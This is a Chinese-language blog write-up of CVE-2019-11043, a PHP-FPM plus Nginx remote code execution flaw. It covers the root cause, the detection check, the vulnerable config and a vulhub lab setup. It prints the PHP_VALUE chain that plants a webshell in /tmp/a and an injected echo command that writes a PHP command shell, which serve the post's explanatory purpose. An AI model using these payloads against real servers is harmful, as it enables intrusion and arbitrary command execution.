PHP-FPM + Nginx RCE CVE-2019-11043

Author Avatar
xF0rk 10月 23, 2019

CVE-2019-11043 是指当 Nginx 组件配置不当情况下,通过构造特殊的请求可修改 PHP-FPM 进程中的 PHP 环境变量配置,进而在目标服务器写入 WebShell 来执行命令。

漏洞概述

由于请求 \n(%0a) 传入导致 Nginx 传递给 php-fpm 的 PATH_INFO 为空,进而导致可通过 FCGI_PUTENV 与 PHP_VALUE 相结合,修改当前 php-fpm 进程中的 php 配置,在特殊构造的配置情况下,可以远程执行任意代码。

命令执行

漏洞可污染 PHP-FPM 进程中 PHP 环境变量,工具 phuip-fpizdam 逐步修改 PHP 环境变量,利用报错信息写入 WebShell 来实施远程命令执行。(命令执行思路可参考 参考链接 3 中的文章,具有一定的相似性)

漏洞检测

工具通过尝试设置 session.auto_start=1 来测试目标系统 PHP 变量是否被污染,若目标机器存在漏洞,则 session.auto_start 将会生效,及在 HTTP 响应头中存在 set-cookiePHPSESSID 字段

"session.auto_start": {
        PHPOptionEnable:  "session.auto_start=1",
        PHPOptionDisable: "session.auto_start=0",
        Check: func(resp *http.Response, _ []byte) bool {
            return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
        },
    },

如下为测试过程 Access 访问日志

漏洞利用

工具源码利用漏洞执行命令过程,其所设置的 PHP 环境变量如下

PHP 各变量说明如下

  • short_open_tag=1 开启 PHP 标签功能
  • html_errors=0 错误信息中关闭 HTML 错误
  • include_path=/tmp 设置包含文件时的路径
  • auto_prepend_file=a 在所有文件的顶部加载 a 文件
  • log_errors=1 将脚本的错误日志写入到 error_log 中
  • error_reporting=2 设置错误级别
  • error_log=/tmp/a 错误日志输出的文件
  • extension_dir=<?=` 设置第三方扩展路径
  • extension=$_GET[a]`?> 设置第三方扩展文件后缀

当设置如上 PHP 环境变量时,由于第三方文件扩展 (extension_dir + extension) <?=`$_GET[a]\`?> 不存在,会触发错误并写入到 /tmp/a 文件,则成功在目标机器写入 webshell 文件,并且以 a?=cmd 形式发起请求,均会触发命令执行。

成功写入 Webshell 之后,通过 ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which" 修改 /tmp/a 文件

漏洞影响

Nginx 官方给出的 php-fpm 实例配置的用户受影响!

location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    if (!-f $document_root$fastcgi_script_name) {
        return 404;
    }

    # Mitigate https://httpoxy.org/ vulnerabilities
    fastcgi_param HTTP_PROXY "";

    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;

    # include the fastcgi_param setting
    include fastcgi_params;

    # SCRIPT_FILENAME parameter is used for PHP FPM determining
    #  the script name. If it is not set in fastcgi_params file,
    # i.e. /etc/nginx/fastcgi_params or in the parent contexts,
    # please comment off following line:
    # fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
}

PHP 5.6 版本受此漏洞影响,目前 POC 只能 Crash,以下 PHP 版本受此漏洞影响:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

环境搭建

vulhub 拉取 PHP CVE-2019-11043 测试相关的配置文件,环境包含 PHP 7.2.10 和 Nginx 镜像

version: '2'
services:
 nginx:
   image: nginx:1
   volumes:
    - ./www:/usr/share/nginx/html
    - ./default.conf:/etc/nginx/conf.d/default.conf
   depends_on:
    - php
   ports:
    - "8080:80"
 php:
   image: php:7.2.10-fpm
   volumes:
    - ./www:/var/www/html

使用 docker-compose up -d 构建运行环境,如下

环境构建运行成功后如下,可查看 Nginx 错误配置

下载目标工具源码 phuip-fpizdam 编译安装测试工具,通过 go mod download 安装 Go 依赖

漏洞复现

使用 phuip-fpizdam 对目标漏洞组件进行测试,写入 websell

可通过 index.php?a=cmd 来执行系统命令,如下

参考链接

  1. 【CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞预警 链接
  2. env_path_info underflow in fpm_main.c can lead to RCE 链接
  3. Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 链接